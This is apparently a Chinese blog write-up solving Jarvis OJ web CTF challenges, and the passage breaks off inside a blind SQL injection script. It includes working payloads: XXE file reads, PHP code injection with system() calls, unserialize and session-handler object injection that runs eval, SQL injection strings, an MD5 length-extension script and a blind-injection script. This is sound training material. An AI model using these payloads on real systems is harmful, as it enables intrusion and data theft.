jarvis oj Web By Assassin

                       

LOCALHOST

套路题,构造headers中加上x-forwarded-for=127.0.0.1即可

这里写图片描述

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
   
   
  • 1

PORT51

访问了页面发现让你

Please use port 51 to visit this site.
   
   
  • 1

明显是绑定的端口,不可能用51端口去访问啊,很困惑结果是自己去访问的时候需要用到51端口啊…原来如此,使用curl中的–local-port命令

--local-port <端口号>[-num]设置连接使用的首选端口号或本地端口范围。请注意,端口号是一种稀缺资源,繁忙时,请将端口范围缩小来避免不必要的连接失败。(在7.15.2版加入)
   
   
  • 1
  • 2
  • 3
  • 4
  • 5

构造payload如下

sudo curl --local-port 51 http://web.jarvisoj.com:32770/
   
   
  • 1

得到结果

这里写图片描述

PCTF{M45t3r_oF_CuRl}
   
   
  • 1

api调用

目录扫一下没什么特别的东西,看一下源码发现了关键代码

<script>function XHR() {        var xhr;        try {xhr = new XMLHttpRequest();}        catch(e) {            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];            for (var i=0,len=IEXHRVers.length;i< len;i++) {                try {xhr = new ActiveXObject(IEXHRVers[i]);}                catch(e) {continue;}            }        }        return xhr;    }function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR();     xhr.open("post","/api/v1.0/try",true);     xhr.onreadystatechange = function () {         if (xhr.readyState==4 && xhr.status==201) {             data = JSON.parse(xhr.responseText);             tip_area = document.getElementById("tip-area");             tip_area.value = data.task.search+data.task.value;         }     };     xhr.setRequestHeader("Content-Type","application/json");     xhr.send('{"search":"'+evil_input+'","value":"own"}');}</script>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

审核完代码没有发现什么东西,一个AJXA异步post上传,也没看出什么,看了题解后才明白是XXE实体上传漏洞,原来对这个漏洞也是闻所未闻,所以后面专门记录一下吧
我们直接讲利用,看到原本的post包是这样的

这里写图片描述

大概讲一下XXE漏洞就是利用xml中的entity实体读取文件。

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量
   
   
  • 1
  • 2

* 就是利用post过去的xml实体,构造有特定功能的xml来达到目的!*
这里我们利用xxe漏洞首先需要修改Content-Type为application/xml ,即传递类型为xml格式,然后修改post值为

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

完成攻击

这里写图片描述

CTF{XxE_15_n0T_S7range_Enough}
   
   
  • 1

admin

首先扫一下代码,发现存在robots.txt,代开看一下

这里写图片描述

访问后发现一个假flag
这里写图片描述

然后抓包发现奥义,修改一下cookie
这里写图片描述

flag{hello_admin~}
   
   
  • 1

WEB?

直到最后作出这道题目我的脑子都是蒙蔽的,这根本不像WEB…
首先扫了一下目录,毛线都没的…然后看源码,发现有一个app.js比较可疑,然后用chrome的source看一下,但是这代码也太多了…
不管,用burp截包看一下,猛一下精神一振

这里写图片描述

别急,菊花一紧没卵用,该cookie是没用的,复制Wrong Password!! 去app.js上找一下!发现了什么

这里写图片描述

没错,这个和checkpass这个函数脱不了干系!继续搜索checkpass,先是看到

r.checkpass = function() {                var e;                return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)            }
   
   
  • 1
  • 2
  • 3
  • 4

继续搜索看到真正的检验代码

function(e) {                if (25 !== e.length)                    return !1;                for (var t = [], n = 0; n < 25; n++)                    t.push(e.charCodeAt(n));                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {                    for (var i = 0, a = 0; a < 25; a++)                        i += t[a] * o[n][a];                    if (i !== r[n])                        return !1                }                return !0            }
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

瞬间脑子就炸了,这不是密码嘛…但是细看没那么恐怖…起始就是25元1维方程组…当然我自己写不出来,但是python1的numpy库中有这样的函数啊,直接怼脚本吧…

#coding:utf-8import numpyx=[[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]x=numpy.array(x)        #xi shuy=[325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]y=numpy.array(y)z=numpy.linalg.solve(x,y)flag = ''for i in z:    flag+=chr(int(round(i)))print flag
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
QWB{R3ac7_1s_interesting}
   
   
  • 1

babyphp

首先进入网站,一看就是个模板,猜测是源码泄漏,用工具扫一下,发现是git源码泄漏,默默掏出工具Githack下载源码

这里写图片描述

然后发现想要的flag就在templates/flag.php中,而且有意思的是index.php存在明显的代码注入!
这里写图片描述

然后我尝试了几种方法

http://web.jarvisoj.com:32798/?page='.system("tac templates/flag.php").'http://web.jarvisoj.com:32798/?page=' and die(show_source('templates/flag.php')) or 'http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
61dctf{8e_careful_when_us1ng_ass4rt}
   
   
  • 1

题目本身是caws2016的题目,也很有意思。

Login

首先看到题目截取包发现header中存在hint

这里写图片描述
这个是pctf中的一道原题,需要的是绕过一下一句sql

Hint: "select * from `admin` where password='".md5($pass,true)."'"
   
   
  • 1

要点是利用了md5和sql语句可以利用16进制的特性,构造特殊的项查找注入,结果可以找到如下ffifdyop,转换成md5进制后成了276f722736c95d99e921722cf9ed621c,再转成字符串: 'or'6<trash>
然后就好办了

这里写图片描述

PCTF{R4w_md5_is_d4ng3rous}
   
   
  • 1

[61dctf]inject

提示找到源码,就是源码泄漏,工具小子一发

这里写图片描述

轻松得到源码

<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

发现sql语句,但是还发现存在一个不知名的Filter函数过滤,只能硬着头皮试了,首先我们分析,问题1,如何绕过?我们看到关键代码如下

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";
   
   
  • 1
  • 2

在这里需要普及一下desc的语法允许传入两个参数!
{DESCRIBE | DESC} tbl_name [col_name | wild]

而且在普通的sql中,连续的两个`相当于一个空格(类似分隔符号),这样我们可以构造注入,当然因为要第一句成功,搜索的table必须存在,在第二句为了输出我们想要的,需要查询的第一部分失效!payload如下

test` ` where 1=2  union select 1
   
   
  • 1

这里写图片描述

注入成功!我们注入后执行的语句如下!

desc `secret_test` ` where 1=2  union select 1`select 'flag{xxx}' from secret_test` ` where 1=2  union select 1
   
   
  • 1
  • 2

接着就是套路了,幸好本题没什么过滤…爆table

http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select table_NAME from information_schema.tables limit 0,1
   
   
  • 1

这里写图片描述

爆cloumn

http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select column_NAME from information_schema.columns limit 0,1
   
   
  • 1

这里写图片描述

查flag

http://web.jarvisoj.com:32794/?table=test` ` where 1=2  union select flagUwillNeverKnow from secret_flag 
   
   
  • 1
flag{luckyGame~}
   
   
  • 1

还是值得一提的desc这个,居然支持通配符字符 “%” 和 “_”,部分时候可以考虑用它爆列表名!

mysql> desc flag f___;+-------+--------------+------+-----+---------+-------+| Field | Type         | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag  | varchar(200) | YES  |     | NULL    |       |+-------+--------------+------+-----+---------+-------+1 row in set (0.00 sec)mysql> desc flag ____;+-------+--------------+------+-----+---------+-------+| Field | Type         | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag  | varchar(200) | YES  |     | NULL    |       |+-------+--------------+------+-----+---------+-------+1 row in set (0.01 sec)mysql> desc flag a___;Empty set (0.00 sec)
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

详细的可以看Veneno师傅的文章
http://www.venenof.com/index.php/archives/380/

神盾局的秘密

这是个老题目了,首先扫目录无果,查看源码很快发现showimg.php文件了,观察它的url构造,很像是一个文件包含啊,当然我们现在不知道有什么文件(除了哪个神盾图,应该没用),不妨看一下showimg.php自己能否成功,发现了源代码

这里写图片描述

<?php    $f = $_GET['img'];    if (!empty($f)) {        $f = base64_decode($f);        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE        && stripos($f,'pctf')===FALSE) {            readfile($f);        } else {            echo "File not found!";        }    }?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

发现过滤了pctf这个关键词,实验之后发现了pctf.php文件,但是有什么错误…应该还没完

这里写图片描述

然后发现没什么线索了,发现疏漏了查一下index.php的源代码!

<?php     require_once('shield.php');    $x = new Shield();    isset($_GET['class']) && $g = $_GET['class'];    if (!empty($g)) {        $x = unserialize($g);    }    echo $x->readfile();?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

差点忘记了,每次都是自动跳转的!然后还看到了有一个shield.php,查看一下!

<?php    //flag is in pctf.php    class Shield {        public $file;        function __construct($filename = '') {            $this -> file = $filename;        }        function readfile() {            if (!empty($this->file) && stripos($this->file,'..')===FALSE              && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {                return @file_get_contents($this->file);            }        }    }?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

发现sheild.php中并没有过滤pctf字段啊,可以利用,再看index.php中可以利用class控制输入!
构造payload如下

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
   
   
  • 1

得到flag

这里写图片描述

PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
   
   
  • 1

PHPINFO

上来直接了当看到源代码

 <?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }    function __destruct()    {        eval($this->mdzz);    }}if(isset($_GET['phpinfo'])){    $m = new OowoO();}else{    highlight_string(file_get_contents('index.php'));}?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

这个利用的是php的session解析不同导致的注入,首先我们看一下session序列化和反序列化的三种形式

               
处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

我们可以看到php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,那么我们只需要多加一个| 就可以完成代码注入,我们做一个小实验,构造两个文件index.php和flag.php,其代码如下

//index.php<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["OowoO"]=$_GET["a"]; echo $_SESSION["OowoO"];?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
//flag.php <?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }    function __destruct()    {        eval($this->mdzz);    }}?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

可以看到index.php中为session的输入,形式为php_serialize,而flag.php中解析的形式为php,那么我们构造请求

localhost/index.php?a=|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "hacker";";}
   
   
  • 1

看看请求效果
这里写图片描述
说明代码注入成功了。

继续看本题,但是我们并没有可以输入代码的地方啊,参考了大牛的答案发现可以利用Session Upload Progress进行上传 参考资料如下
https://secure.php.net/manual/en/session.upload-progress.php

我们构造一个文件,内容为

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" /></form>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5

然后用burp截取上传的数据包,然后我们只要修改其中的filename即可完成上传。
在本地创建一个.php文件用于生成我们需要的序列化代码

<?phpini_set('session.serialize_handler', 'php_serialize');class OowoO{    public $mdzz='需要设置的代码';    function __construct()    {        // $this->mdzz = 'phpinfo();';    }    function __destruct()    {        // echo $this->mdzz;    }}$obj = new OowoO();echo serialize($obj);?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

我们尝试一下,构造|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";}(双引号需要用转义符号转义)返回了spoock,成功!

这里写图片描述

23333然后继续即可啦!
然后我们查一下网站的根目录在哪

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:35:\"print_r($_SERVER[\"DOCUMENT_ROOT\"]);\";}
   
   
  • 1

这里写图片描述

发现是 /opt/lampp/htdocs,然后看看那里有没有宝贝,然后发现了答案所在的位置

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}
   
   
  • 1

这里写图片描述

构造得到flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:73:\"show_source(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\");\";}
   
   
  • 1

这里写图片描述

这个题目真是太涨姿势了!

CTF{4d96e37f4be998c50aa586de4ada354a}
   
   
  • 1

RE?

这个题目对弱来说确实是比较新得题目了,没有想到锅这个功能·
首先下载源文件后发现类似逆向得东西,感觉非常困惑,经过学习原来mysql是可以调入.so文件得,然后可以实现函数得引用,下面所使用得命令和方法很简单,主要是接触了一项新功能把~

首先学习到可以添加.so文件到路径/usr/lib/mysql/plugin中!(环境是ubuntu),然后我们可以用wget下载到该目录,也可以修改权限将下载好得文件放到这里!

这里写图片描述

然后进入mysql之中,根据提示可以利用help_me函数!利用如下语句!(神奇)

mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
   
   
  • 1

然后我们查看一下

select help_me();
   
   
  • 1

这里写图片描述

然后说答案在getflag中,同样我们构造getflag函数

mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
   
   
  • 1

然后查看

select getflag();
   
   
  • 1

这里写图片描述

PCTF{Interesting_U5er_d3fined_Function}
   
   
  • 1

flag在管理员手里

首先打开网页发现说管理员才能看到内容,用burp抓包一下发现

这里写图片描述

发现那个什么role比较奇怪,揭秘后为 s:5:"guest";改成 s:5:"admin";
果不其然改了之后发现了什么
这里写图片描述

但是貌似没什么用处,目录扫描一发,发现存在泄露代码!

这里写图片描述

大概整理了一下代码如下

<!DOCTYPE html><html>    <head>        <title>Web 350</title>        <style type="text/css">            body {                background:gray;                text-align:center;              }        </style>    </head>     <body>        <?php            $auth = false;            $role = "guest";               $salt = ;            if (isset($_COOKIE["role"])) {                $role = unserialize($_COOKIE["role"]);                $hsh = $_COOKIE["hsh"];                if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {                        $auth = true;                }                else {                    $auth = false;                } else {}                   $s = serialize($role);                setcookie('role',$s);                $hsh = md5($salt.strrev($s));                setcookie('hsh',$hsh);            }            if ($auth) {                echo "<h3>Welcome Admin. Your flag is "            }             else {                echo "<h3>Only Admin can see the flag!!</h3>";              }        ?>      </body> </html>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

发现存在hash扩展攻击!因为是倒叙加密得,而且低版本得php在序列化得时候存在%00截断!我们已经知道了$salt+;”tseug”:5:s 的hash值了!然后我们直接想办法攻击!
这里有两种方法,可以看我的博客了!
http://blog.csdn.net/qq_35078631/article/details/70941204

将我文章中的两个利用代码exp.py和my_md5放在一个位置上,然后建立一个新的py文件,自己利用代码,爆破长度!写了一晚上终于写出来了…这个注意写py脚本的时候要用urlencode的格式,不能用chr(0)啥的,在本地py程序测试的时候是可以的…晕菜

# -*- coding: utf-8 -*-import requestsimport urllibimport my_md5import expimport sysdef replace_all(str):    return str.replace(':','%3A').replace('"','%22').replace(';','%3b')s1=0xd527473as2=0x22f16374s3=0x739e3d83s4=0xe0e4942fpost_the_pack=requests.Session()for length in range(1,32):  #爆破未知长度    secret_admin='x'*length+';"tseug":5:s'+'\x80'+'\x00'*(43-length)+chr((length+12)*8)+'\x00'*7+';"nimda":5:s'    r = my_md5.deal_rawInputMsg(secret_admin)    inp = r[len(r)/2:]    hash=my_md5.run_md5(s1,s2,s3,s4,inp)    exp=replace_all('role=s:5:"admin";')+'%00'*7+'%'+str(hex((length+12)*8)[2:])+'%00'*(43-length)+'%80'+replace_all('s:5:"guest";')+';'+'%20hsh='+hash    print exp           headers={        'Host': 'web.jarvisoj.com:32778',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',        'Accept-Encoding': 'gzip, deflate',        'Cookie':exp,        'Connection': 'keep-alive',        'Upgrade-Insecure-Requests': '1'    }    req=post_the_pack.post('http://web.jarvisoj.com:32778/',headers=headers,timeout=4)    print 'this is test '+str(length)+'\n'+req.text
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

发现原来的长度为12

这里写图片描述

PCTF{H45h_ext3ndeR_i5_easy_to_us3}
   
   
  • 1

借此机会复习了hash长度扩展攻击.嗯

Simple Injection

发烧了,头晕,没思路,先看了看大神的代码,理了理思路开始做
首先扫描目录,未果,乖乖注入
尝试admin发现存在admin账户

这里写图片描述

然后在换一个用户会提示账号错误,说明判断的时候账号和密码是分开的。
然后继续尝试

username:admin'#password:任意
   
   
  • 1
  • 2

发现返回时密码错误!也就是说username可以用单引号构造注入!而且没有过滤省略符号#,然后不由地想到了经典的注入如下

mysql> select flag from flag where info='admin';+--------------------+| flag               |+--------------------+| flag{flag_is_here} |+--------------------+1 row in set (0.00 sec)mysql> select flag from flag where info='admin'^0^1;Empty set, 2 warnings (0.00 sec)mysql> select flag from flag where info='admin'^1^1;+--------------------+| flag               |+--------------------+| flag{flag_is_here} |+--------------------+1 row in set, 2 warnings (0.00 sec)
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

自己尝试一下发现并没有过滤^符号,然后可有构成盲注!继续测试

username:admin' or '1'='1'#password:任意
   
   
  • 1
  • 2

发现是可以的,后面才发现被坑惨了…因为实际上它时过滤了空格的…在后面调试过程中才发现…mdzz….

然后我们准备盲注吧,首先想到实验吧的经典盲注
首先利用post的值判断一下过滤了什么关键函数

username=admin'^(select/**/1)^1#&password=admin
   
   
  • 1

发现mid、,、()、ascii、=都没有过滤,但是考虑为了速度利用二分法注入,用ascii、substr进判断,直接上脚本

#_*_ coding:utf-8 _*_import requests,re,stringurl = 'http://web.jarvisoj.com:32787/login.php'headers = {    'Host': 'web.jarvisoj.com:32787',    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',    'Accept-Encoding':' gzip, deflate',    'Content-Type': 'application/x-www-form-urlencoded',    'Content-Length': '48',    'Referer': 'http://web.jarvisoj.com:32787/login.php',    'Cookie': 'PHPSESSID=6oucegin4mf14vdvfutlg1tp46',    'Connection':' keep-alive',    'Upgrade-Insecure-Requests': '1'}temp=['']def search2(content,length,l,r):    global temp    global url    global headers    #print l,r     if l>r :        return     mid =(l+r)/2    postdata="admin'^(select ascii(substr(%s,%s,1))<=%s)^1#"%(content,str(length),mid)    postdata=postdata.replace(' ','/**/')    data = {'username':postdata,'password':'admin'}    html = requests.post(url,headers=headers,data=data).text.encode('utf-8')    text=re.findall(r'<strong>(.*?)</strong>',html,re.S)[0].decode('utf-8')    if len(text)==5:        search2(content,length,(l+r)/2+1,r)    else:        if mid<ord(temp[0]):            temp[0]=chr(mid)        search2(content,length,l,(l+r)/2-1)def get_database():    print 'Geting the 